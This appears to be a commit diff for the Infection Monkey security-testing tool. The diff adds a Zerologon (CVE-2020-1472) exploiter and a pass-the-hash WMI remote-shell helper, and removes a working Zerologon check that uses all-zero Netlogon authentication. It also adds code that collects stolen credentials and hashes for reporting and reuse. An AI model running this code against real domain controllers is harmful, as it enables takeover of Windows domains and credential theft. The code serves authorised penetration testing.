||||||
|
OUTPUT_FILENAME = "__" + str(time.time())
|
||||||
|
|
||||||
|
def __init__(self, ip, username, hashes, password="", domain="", share="ADMIN$"):
|
||||||
|
self.__ip = ip
|
||||||
|
self.__username = username
|
||||||
|
self.__password = password
|
||||||
|
self.__domain = domain
|
||||||
|
self.__lmhash, self.__nthash = hashes.split(":")
|
||||||
|
self.__share = share
|
||||||
|
self.shell = None
|
||||||
|
|
||||||
|
def connect(self):
|
||||||
|
self.smbConnection = SMBConnection(self.__ip, self.__ip)
|
||||||
|
self.smbConnection.login(
|
||||||
|
user=self.__username,
|
||||||
|
password=self.__password,
|
||||||
|
domain=self.__domain,
|
||||||
|
lmhash=self.__lmhash,
|
||||||
|
nthash=self.__nthash,
|
||||||
|
)
|
||||||
|
|
||||||
|
self.dcom = DCOMConnection(
|
||||||
|
target=self.__ip,
|
||||||
|
username=self.__username,
|
||||||
|
password=self.__password,
|
||||||
|
domain=self.__domain,
|
||||||
|
lmhash=self.__lmhash,
|
||||||
|
nthash=self.__nthash,
|
||||||
|
oxidResolver=True,
|
||||||
|
)
|
||||||
|
|
||||||
|
try:
|
||||||
|
iInterface = self.dcom.CoCreateInstanceEx(
|
||||||
|
wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login
|
||||||
|
)
|
||||||
|
iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
|
||||||
|
self.iWbemServices = iWbemLevel1Login.NTLMLogin(
|
||||||
|
"//./root/cimv2", NULL, NULL
|
||||||
|
)
|
||||||
|
iWbemLevel1Login.RemRelease()
|
||||||
|
|
||||||
|
except (Exception, KeyboardInterrupt) as e:
|
||||||
|
LOG.error(str(e))
|
||||||
|
self.smbConnection.logoff()
|
||||||
|
self.dcom.disconnect()
|
||||||
|
|
||||||
|
def get_remote_shell(self):
|
||||||
|
self.connect()
|
||||||
|
win32Process, _ = self.iWbemServices.GetObject("Win32_Process")
|
||||||
|
self.shell = RemoteShell(
|
||||||
|
self.__share, win32Process, self.smbConnection, self.OUTPUT_FILENAME
|
||||||
|
)
|
||||||
|
return self.shell
|
||||||
|
|
||||||
|
def close(self):
|
||||||
|
self.smbConnection.close()
|
||||||
|
self.smbConnection = None
|
||||||
|
self.dcom.disconnect()
|
||||||
|
self.dcom = None
|
|
@ -204,7 +204,8 @@ class InfectionMonkey(object):
|
||||||
if self.try_exploiting(machine, exploiter):
|
if self.try_exploiting(machine, exploiter):
|
||||||
host_exploited = True
|
host_exploited = True
|
||||||
VictimHostTelem('T1210', ScanStatus.USED, machine=machine).send()
|
VictimHostTelem('T1210', ScanStatus.USED, machine=machine).send()
|
||||||
break
|
if exploiter.RUNS_AGENT_ON_SUCCESS:
|
||||||
|
break # if adding machine to exploited, won't try other exploits on it
|
||||||
if not host_exploited:
|
if not host_exploited:
|
||||||
self._fail_exploitation_machines.add(machine)
|
self._fail_exploitation_machines.add(machine)
|
||||||
VictimHostTelem('T1210', ScanStatus.SCANNED, machine=machine).send()
|
VictimHostTelem('T1210', ScanStatus.SCANNED, machine=machine).send()
|
||||||
|
@ -346,14 +347,14 @@ class InfectionMonkey(object):
|
||||||
try:
|
try:
|
||||||
result = exploiter.exploit_host()
|
result = exploiter.exploit_host()
|
||||||
if result:
|
if result:
|
||||||
self.successfully_exploited(machine, exploiter)
|
self.successfully_exploited(machine, exploiter, exploiter.RUNS_AGENT_ON_SUCCESS)
|
||||||
return True
|
return True
|
||||||
else:
|
else:
|
||||||
LOG.info("Failed exploiting %r with exploiter %s", machine, exploiter.__class__.__name__)
|
LOG.info("Failed exploiting %r with exploiter %s", machine, exploiter.__class__.__name__)
|
||||||
except ExploitingVulnerableMachineError as exc:
|
except ExploitingVulnerableMachineError as exc:
|
||||||
LOG.error("Exception while attacking %s using %s: %s",
|
LOG.error("Exception while attacking %s using %s: %s",
|
||||||
machine, exploiter.__class__.__name__, exc)
|
machine, exploiter.__class__.__name__, exc)
|
||||||
self.successfully_exploited(machine, exploiter)
|
self.successfully_exploited(machine, exploiter, exploiter.RUNS_AGENT_ON_SUCCESS)
|
||||||
return True
|
return True
|
||||||
except FailedExploitationError as e:
|
except FailedExploitationError as e:
|
||||||
LOG.info("Failed exploiting %r with exploiter %s, %s", machine, exploiter.__class__.__name__, e)
|
LOG.info("Failed exploiting %r with exploiter %s, %s", machine, exploiter.__class__.__name__, e)
|
||||||
|
@ -364,13 +365,14 @@ class InfectionMonkey(object):
|
||||||
exploiter.send_exploit_telemetry(result)
|
exploiter.send_exploit_telemetry(result)
|
||||||
return False
|
return False
|
||||||
|
|
||||||
def successfully_exploited(self, machine, exploiter):
|
def successfully_exploited(self, machine, exploiter, RUNS_AGENT_ON_SUCCESS=True):
|
||||||
"""
|
"""
|
||||||
Workflow of registering successfully exploited machine
|
Workflow of registering successfully exploited machine
|
||||||
:param machine: machine that was exploited
|
:param machine: machine that was exploited
|
||||||
:param exploiter: exploiter that succeeded
|
:param exploiter: exploiter that succeeded
|
||||||
"""
|
"""
|
||||||
self._exploited_machines.add(machine)
|
if RUNS_AGENT_ON_SUCCESS:
|
||||||
|
self._exploited_machines.add(machine)
|
||||||
|
|
||||||
LOG.info("Successfully propagated to %s using %s",
|
LOG.info("Successfully propagated to %s using %s",
|
||||||
machine, exploiter.__class__.__name__)
|
machine, exploiter.__class__.__name__)
|
||||||
|
|
|
@ -1,109 +0,0 @@
|
||||||
"""
|
|
||||||
Implementation from https://github.com/SecuraBV/CVE-2020-1472
|
|
||||||
"""
|
|
||||||
|
|
||||||
import logging
|
|
||||||
|
|
||||||
import nmb.NetBIOS
|
|
||||||
from impacket.dcerpc.v5 import epm, nrpc, transport
|
|
||||||
|
|
||||||
from infection_monkey.network.HostFinger import HostFinger
|
|
||||||
|
|
||||||
LOG = logging.getLogger(__name__)
|
|
||||||
|
|
||||||
|
|
||||||
class WindowsServerFinger(HostFinger):
|
|
||||||
# Class related consts
|
|
||||||
MAX_ATTEMPTS = 2000
|
|
||||||
_SCANNED_SERVICE = "NTLM (NT LAN Manager)"
|
|
||||||
|
|
||||||
def get_host_fingerprint(self, host):
|
|
||||||
"""
|
|
||||||
Checks if the Windows Server is vulnerable to Zerologon.
|
|
||||||
"""
|
|
||||||
|
|
||||||
DC_IP = host.ip_addr
|
|
||||||
DC_NAME = self.get_dc_name(DC_IP)
|
|
||||||
|
|
||||||
if DC_NAME: # if it is a Windows DC
|
|
||||||
# Keep authenticating until successful.
|
|
||||||
# Expected average number of attempts needed: 256.
|
|
||||||
# Approximate time taken by 2000 attempts: 40 seconds.
|
|
||||||
DC_HANDLE = '\\\\' + DC_NAME
|
|
||||||
|
|
||||||
LOG.info('Performing Zerologon authentication attempts...')
|
|
||||||
rpc_con = None
|
|
||||||
for _ in range(0, self.MAX_ATTEMPTS):
|
|
||||||
try:
|
|
||||||
rpc_con = self.try_zero_authenticate(DC_HANDLE, DC_IP, DC_NAME)
|
|
||||||
if rpc_con is not None:
|
|
||||||
break
|
|
||||||
except Exception as ex:
|
|
||||||
LOG.info(ex)
|
|
||||||
break
|
|
||||||
|
|
||||||
self.init_service(host.services, self._SCANNED_SERVICE, '')
|
|
||||||
|
|
||||||
if rpc_con:
|
|
||||||
LOG.info('Success: Domain Controller can be fully compromised by a Zerologon attack.')
|
|
||||||
host.services[self._SCANNED_SERVICE]['is_vulnerable'] = True
|
|
||||||
return True
|
|
||||||
else:
|
|
||||||
LOG.info('Failure: Target is either patched or an unexpected error was encountered.')
|
|
||||||
host.services[self._SCANNED_SERVICE]['is_vulnerable'] = False
|
|
||||||
return False
|
|
||||||
|
|
||||||
else:
|
|
||||||
LOG.info('Error encountered; most likely not a Windows Domain Controller.')
|
|
||||||
return False
|
|
||||||
|
|
||||||
def get_dc_name(self, DC_IP):
|
|
||||||
"""
|
|
||||||
Gets NetBIOS name of the Domain Controller (DC).
|
|
||||||
"""
|
|
||||||
|
|
||||||
try:
|
|
||||||
nb = nmb.NetBIOS.NetBIOS()
|
|
||||||
name = nb.queryIPForName(ip=DC_IP) # returns either a list of NetBIOS names or None
|
|
||||||
return name[0] if name else None
|
|
||||||
except BaseException as ex:
|
|
||||||
LOG.info(f'Exception: {ex}')
|
|
||||||
|
|
||||||
def try_zero_authenticate(self, DC_HANDLE, DC_IP, DC_NAME):
|
|
||||||
# Connect to the DC's Netlogon service.
|
|
||||||
binding = epm.hept_map(DC_IP, nrpc.MSRPC_UUID_NRPC,
|
|
||||||
protocol='ncacn_ip_tcp')
|
|
||||||
rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()
|
|
||||||
rpc_con.connect()
|
|
||||||
rpc_con.bind(nrpc.MSRPC_UUID_NRPC)
|
|
||||||
|
|
||||||
# Use an all-zero challenge and credential.
|
|
||||||
plaintext = b'\x00' * 8
|
|
||||||
ciphertext = b'\x00' * 8
|
|
||||||
|
|
||||||
# Standard flags observed from a Windows 10 client (including AES), with only the sign/seal flag disabled.
|
|
||||||
flags = 0x212fffff
|
|
||||||
|
|
||||||
# Send challenge and authentication request.
|
|
||||||
nrpc.hNetrServerReqChallenge(
|
|
||||||
rpc_con, DC_HANDLE + '\x00', DC_NAME + '\x00', plaintext)
|
|
||||||
|
|
||||||
try:
|
|
||||||
server_auth = nrpc.hNetrServerAuthenticate3(
|
|
||||||
rpc_con, DC_HANDLE + '\x00', DC_NAME +
|
|
||||||
'$\x00', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,
|
|
||||||
DC_NAME + '\x00', ciphertext, flags
|
|
||||||
)
|
|
||||||
|
|
||||||
# It worked!
|
|
||||||
assert server_auth['ErrorCode'] == 0
|
|
||||||
return rpc_con
|
|
||||||
|
|
||||||
except nrpc.DCERPCSessionError as ex:
|
|
||||||
if ex.get_error_code() == 0xc0000022: # STATUS_ACCESS_DENIED error; if not this, probably some other issue.
|
|
||||||
pass
|
|
||||||
else:
|
|
||||||
raise Exception(f'Unexpected error code: {ex.get_error_code()}.')
|
|
||||||
|
|
||||||
except BaseException as ex:
|
|
||||||
raise Exception(f'Unexpected error: {ex}.')
|
|
|
@ -0,0 +1,18 @@
|
||||||
|
import io
|
||||||
|
import sys
|
||||||
|
|
||||||
|
|
||||||
|
class StdoutCapture:
|
||||||
|
def __enter__(self) -> None:
|
||||||
|
self._orig_stdout = sys.stdout
|
||||||
|
self._new_stdout = io.StringIO()
|
||||||
|
sys.stdout = self._new_stdout
|
||||||
|
return self
|
||||||
|
|
||||||
|
def get_captured_stdout_output(self) -> str:
|
||||||
|
self._new_stdout.seek(0)
|
||||||
|
output = self._new_stdout.read()
|
||||||
|
return output
|
||||||
|
|
||||||
|
def __exit__(self, _, __, ___) -> None:
|
||||||
|
sys.stdout = self._orig_stdout
|
|
@ -12,9 +12,14 @@ class T1003(AttackTechnique):
|
||||||
scanned_msg = ""
|
scanned_msg = ""
|
||||||
used_msg = "Monkey successfully obtained some credentials from systems on the network."
|
used_msg = "Monkey successfully obtained some credentials from systems on the network."
|
||||||
|
|
||||||
query = {'telem_category': 'system_info', '$and': [{'data.credentials': {'$exists': True}},
|
query = {'$or': [
|
||||||
# $gt: {} checks if field is not an empty object
|
{'telem_category': 'system_info',
|
||||||
{'data.credentials': {'$gt': {}}}]}
|
'$and': [{'data.credentials': {'$exists': True}},
|
||||||
|
{'data.credentials': {'$gt': {}}}]}, # $gt: {} checks if field is not an empty object
|
||||||
|
{'telem_category': 'exploit',
|
||||||
|
'$and': [{'data.info.credentials': {'$exists': True}},
|
||||||
|
{'data.info.credentials': {'$gt': {}}}]}
|
||||||
|
]}
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def get_report_data():
|
def get_report_data():
|
||||||
|
|
|
@ -148,6 +148,20 @@ EXPLOITER_CLASSES = {
|
||||||
"info": "Exploits a remote command execution vulnerability in a Drupal server,"
|
"info": "Exploits a remote command execution vulnerability in a Drupal server,"
|
||||||
"for which certain modules (such as RESTful Web Services) are enabled.",
|
"for which certain modules (such as RESTful Web Services) are enabled.",
|
||||||
"link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/drupal/"
|
"link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/drupal/"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"type": "string",
|
||||||
|
"enum": [
|
||||||
|
"ZerologonExploiter"
|
||||||
|
],
|
||||||
|
"title": "Zerologon Exploiter",
|
||||||
|
"safe": False,
|
||||||
|
"info": "Exploits a privilege escalation vulnerability (CVE-2020-1472) in a Windows "
|
||||||
|
"server domain controller by using the Netlogon Remote Protocol (MS-NRPC). "
|
||||||
|
"This exploiter changes the password of a Windows server domain controller "
|
||||||
|
"account and could prevent the victim domain controller from communicating "
|
||||||
|
"with other domain controllers.",
|
||||||
|
"link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/zerologon/"
|
||||||
}
|
}
|
||||||
]
|
]
|
||||||
}
|
}
|
||||||
|
|
|
@ -71,16 +71,6 @@ FINGER_CLASSES = {
|
||||||
"safe": True,
|
"safe": True,
|
||||||
"info": "Checks if ElasticSearch is running and attempts to find it's version.",
|
"info": "Checks if ElasticSearch is running and attempts to find it's version.",
|
||||||
"attack_techniques": ["T1210"]
|
"attack_techniques": ["T1210"]
|
||||||
},
|
|
||||||
{
|
|
||||||
"type": "string",
|
|
||||||
"enum": [
|
|
||||||
"WindowsServerFinger"
|
|
||||||
],
|
|
||||||
"title": "WindowsServerFinger",
|
|
||||||
"safe": True,
|
|
||||||
"info": "Checks if server is a Windows Server and tests if it is vulnerable to Zerologon.",
|
|
||||||
"attack_techniques": ["T1210"]
|
|
||||||
}
|
}
|
||||||
]
|
]
|
||||||
}
|
}
|
||||||
|
|
|
@ -239,8 +239,7 @@ INTERNAL = {
|
||||||
"HTTPFinger",
|
"HTTPFinger",
|
||||||
"MySQLFinger",
|
"MySQLFinger",
|
||||||
"MSSQLFinger",
|
"MSSQLFinger",
|
||||||
"ElasticFinger",
|
"ElasticFinger"
|
||||||
"WindowsServerFinger"
|
|
||||||
]
|
]
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
|
@ -44,7 +44,8 @@ class ReportService:
|
||||||
'HadoopExploiter': 'Hadoop/Yarn Exploiter',
|
'HadoopExploiter': 'Hadoop/Yarn Exploiter',
|
||||||
'MSSQLExploiter': 'MSSQL Exploiter',
|
'MSSQLExploiter': 'MSSQL Exploiter',
|
||||||
'VSFTPDExploiter': 'VSFTPD Backdoor Exploiter',
|
'VSFTPDExploiter': 'VSFTPD Backdoor Exploiter',
|
||||||
'DrupalExploiter': 'Drupal Server Exploiter'
|
'DrupalExploiter': 'Drupal Server Exploiter',
|
||||||
|
'ZerologonExploiter': 'Windows Server Zerologon Exploiter'
|
||||||
}
|
}
|
||||||
|
|
||||||
class ISSUES_DICT(Enum):
|
class ISSUES_DICT(Enum):
|
||||||
|
@ -63,6 +64,7 @@ class ReportService:
|
||||||
MSSQL = 12
|
MSSQL = 12
|
||||||
VSFTPD = 13
|
VSFTPD = 13
|
||||||
DRUPAL = 14
|
DRUPAL = 14
|
||||||
|
ZEROLOGON = 15
|
||||||
|
|
||||||
class WARNINGS_DICT(Enum):
|
class WARNINGS_DICT(Enum):
|
||||||
CROSS_SEGMENT = 0
|
CROSS_SEGMENT = 0
|
||||||
|
@ -178,32 +180,57 @@ class ReportService:
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def get_stolen_creds():
|
def get_stolen_creds():
|
||||||
PASS_TYPE_DICT = {'password': 'Clear Password', 'lm_hash': 'LM hash', 'ntlm_hash': 'NTLM hash'}
|
|
||||||
creds = []
|
creds = []
|
||||||
for telem in mongo.db.telemetry.find(
|
|
||||||
{'telem_category': 'system_info', 'data.credentials': {'$exists': True}},
|
stolen_system_info_creds = ReportService._get_credentials_from_system_info_telems()
|
||||||
{'data.credentials': 1, 'monkey_guid': 1}
|
creds.extend(stolen_system_info_creds)
|
||||||
):
|
|
||||||
monkey_creds = telem['data']['credentials']
|
stolen_exploit_creds = ReportService._get_credentials_from_exploit_telems()
|
||||||
if len(monkey_creds) == 0:
|
creds.extend(stolen_exploit_creds)
|
||||||
continue
|
|
||||||
origin = NodeService.get_monkey_by_guid(telem['monkey_guid'])['hostname']
|
|
||||||
for user in monkey_creds:
|
|
||||||
for pass_type in PASS_TYPE_DICT:
|
|
||||||
if pass_type not in monkey_creds[user] or not monkey_creds[user][pass_type]:
|
|
||||||
continue
|
|
||||||
username = monkey_creds[user]['username'] if 'username' in monkey_creds[user] else user
|
|
||||||
cred_row = \
|
|
||||||
{
|
|
||||||
'username': username,
|
|
||||||
'type': PASS_TYPE_DICT[pass_type],
|
|
||||||
'origin': origin
|
|
||||||
}
|
|
||||||
if cred_row not in creds:
|
|
||||||
creds.append(cred_row)
|
|
||||||
logger.info('Stolen creds generated for reporting')
|
logger.info('Stolen creds generated for reporting')
|
||||||
return creds
|
return creds
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def _get_credentials_from_system_info_telems():
|
||||||
|
formatted_creds = []
|
||||||
|
for telem in mongo.db.telemetry.find({'telem_category': 'system_info', 'data.credentials': {'$exists': True}},
|
||||||
|
{'data.credentials': 1, 'monkey_guid': 1}):
|
||||||
|
creds = telem['data']['credentials']
|
||||||
|
formatted_creds.extend(ReportService._format_creds_for_reporting(telem, creds))
|
||||||
|
return formatted_creds
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def _get_credentials_from_exploit_telems():
|
||||||
|
formatted_creds = []
|
||||||
|
for telem in mongo.db.telemetry.find({'telem_category': 'exploit', 'data.info.credentials': {'$exists': True}},
|
||||||
|
{'data.info.credentials': 1, 'monkey_guid': 1}):
|
||||||
|
creds = telem['data']['info']['credentials']
|
||||||
|
formatted_creds.extend(ReportService._format_creds_for_reporting(telem, creds))
|
||||||
|
return formatted_creds
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def _format_creds_for_reporting(telem, monkey_creds):
|
||||||
|
creds = []
|
||||||
|
CRED_TYPE_DICT = {'password': 'Clear Password', 'lm_hash': 'LM hash', 'ntlm_hash': 'NTLM hash'}
|
||||||
|
if len(monkey_creds) == 0:
|
||||||
|
return []
|
||||||
|
origin = NodeService.get_monkey_by_guid(telem['monkey_guid'])['hostname']
|
||||||
|
for user in monkey_creds:
|
||||||
|
for cred_type in CRED_TYPE_DICT:
|
||||||
|
if cred_type not in monkey_creds[user] or not monkey_creds[user][cred_type]:
|
||||||
|
continue
|
||||||
|
username = monkey_creds[user]['username'] if 'username' in monkey_creds[user] else user
|
||||||
|
cred_row = \
|
||||||
|
{
|
||||||
|
'username': username,
|
||||||
|
'type': CRED_TYPE_DICT[cred_type],
|
||||||
|
'origin': origin
|
||||||
|
}
|
||||||
|
if cred_row not in creds:
|
||||||
|
creds.append(cred_row)
|
||||||
|
return creds
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def get_ssh_keys():
|
def get_ssh_keys():
|
||||||
"""
|
"""
|
||||||
|
@ -363,6 +390,12 @@ class ReportService:
|
||||||
processed_exploit['type'] = 'drupal'
|
processed_exploit['type'] = 'drupal'
|
||||||
return processed_exploit
|
return processed_exploit
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def process_zerologon_exploit(exploit):
|
||||||
|
processed_exploit = ReportService.process_general_exploit(exploit)
|
||||||
|
processed_exploit['type'] = 'zerologon'
|
||||||
|
return processed_exploit
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def process_exploit(exploit):
|
def process_exploit(exploit):
|
||||||
exploiter_type = exploit['data']['exploiter']
|
exploiter_type = exploit['data']['exploiter']
|
||||||
|
@ -379,7 +412,8 @@ class ReportService:
|
||||||
'HadoopExploiter': ReportService.process_hadoop_exploit,
|
'HadoopExploiter': ReportService.process_hadoop_exploit,
|
||||||
'MSSQLExploiter': ReportService.process_mssql_exploit,
|
'MSSQLExploiter': ReportService.process_mssql_exploit,
|
||||||
'VSFTPDExploiter': ReportService.process_vsftpd_exploit,
|
'VSFTPDExploiter': ReportService.process_vsftpd_exploit,
|
||||||
'DrupalExploiter': ReportService.process_drupal_exploit
|
'DrupalExploiter': ReportService.process_drupal_exploit,
|
||||||
|
'ZerologonExploiter': ReportService.process_zerologon_exploit
|
||||||
}
|
}
|
||||||
|
|
||||||
return EXPLOIT_PROCESS_FUNCTION_DICT[exploiter_type](exploit)
|
return EXPLOIT_PROCESS_FUNCTION_DICT[exploiter_type](exploit)
|
||||||
|
@ -678,6 +712,8 @@ class ReportService:
|
||||||
issues_byte_array[ReportService.ISSUES_DICT.HADOOP.value] = True
|
issues_byte_array[ReportService.ISSUES_DICT.HADOOP.value] = True
|
||||||
elif issue['type'] == 'drupal':
|
elif issue['type'] == 'drupal':
|
||||||
issues_byte_array[ReportService.ISSUES_DICT.DRUPAL.value] = True
|
issues_byte_array[ReportService.ISSUES_DICT.DRUPAL.value] = True
|
||||||
|
elif issue['type'] == 'zerologon':
|
||||||
|
issues_byte_array[ReportService.ISSUES_DICT.ZEROLOGON.value] = True
|
||||||
elif issue['type'].endswith('_password') and issue['password'] in config_passwords and \
|
elif issue['type'].endswith('_password') and issue['password'] in config_passwords and \
|
||||||
issue['username'] in config_users or issue['type'] == 'ssh':
|
issue['username'] in config_users or issue['type'] == 'ssh':
|
||||||
issues_byte_array[ReportService.ISSUES_DICT.WEAK_PASSWORD.value] = True
|
issues_byte_array[ReportService.ISSUES_DICT.WEAK_PASSWORD.value] = True
|
||||||
|
|
|
@ -4,6 +4,7 @@ import dateutil
|
||||||
|
|
||||||
from monkey_island.cc.server_utils.encryptor import encryptor
|
from monkey_island.cc.server_utils.encryptor import encryptor
|
||||||
from monkey_island.cc.models import Monkey
|
from monkey_island.cc.models import Monkey
|
||||||
|
from monkey_island.cc.services.config import ConfigService
|
||||||
from monkey_island.cc.services.edge.displayed_edge import EdgeService
|
from monkey_island.cc.services.edge.displayed_edge import EdgeService
|
||||||
from monkey_island.cc.services.node import NodeService
|
from monkey_island.cc.services.node import NodeService
|
||||||
from monkey_island.cc.services.telemetry.processing.utils import get_edge_by_scan_or_exploit_telemetry
|
from monkey_island.cc.services.telemetry.processing.utils import get_edge_by_scan_or_exploit_telemetry
|
||||||
|
@ -15,6 +16,7 @@ def process_exploit_telemetry(telemetry_json):
|
||||||
edge = get_edge_by_scan_or_exploit_telemetry(telemetry_json)
|
edge = get_edge_by_scan_or_exploit_telemetry(telemetry_json)
|
||||||
update_network_with_exploit(edge, telemetry_json)
|
update_network_with_exploit(edge, telemetry_json)
|
||||||
update_node_credentials_from_successful_attempts(edge, telemetry_json)
|
update_node_credentials_from_successful_attempts(edge, telemetry_json)
|
||||||
|
add_exploit_extracted_creds_to_config(telemetry_json)
|
||||||
|
|
||||||
check_machine_exploited(
|
check_machine_exploited(
|
||||||
current_monkey=Monkey.get_single_monkey_by_guid(telemetry_json['monkey_guid']),
|
current_monkey=Monkey.get_single_monkey_by_guid(telemetry_json['monkey_guid']),
|
||||||
|
@ -24,6 +26,19 @@ def process_exploit_telemetry(telemetry_json):
|
||||||
timestamp=telemetry_json['timestamp'])
|
timestamp=telemetry_json['timestamp'])
|
||||||
|
|
||||||
|
|
||||||
|
def add_exploit_extracted_creds_to_config(telemetry_json):
|
||||||
|
if 'credentials' in telemetry_json['data']['info']:
|
||||||
|
creds = telemetry_json['data']['info']['credentials']
|
||||||
|
for user in creds:
|
||||||
|
ConfigService.creds_add_username(creds[user]['username'])
|
||||||
|
if 'password' in creds[user] and creds[user]['password']:
|
||||||
|
ConfigService.creds_add_password(creds[user]['password'])
|
||||||
|
if 'lm_hash' in creds[user] and creds[user]['lm_hash']:
|
||||||
|
ConfigService.creds_add_lm_hash(creds[user]['lm_hash'])
|
||||||
|
if 'ntlm_hash' in creds[user] and creds[user]['ntlm_hash']:
|
||||||
|
ConfigService.creds_add_ntlm_hash(creds[user]['ntlm_hash'])
|
||||||
|
|
||||||
|
|
||||||
def update_node_credentials_from_successful_attempts(edge: EdgeService, telemetry_json):
|
def update_node_credentials_from_successful_attempts(edge: EdgeService, telemetry_json):
|
||||||
for attempt in telemetry_json['data']['attempts']:
|
for attempt in telemetry_json['data']['attempts']:
|
||||||
if attempt['result']:
|
if attempt['result']:
|
||||||
|
|
Loading…
Reference in New Issue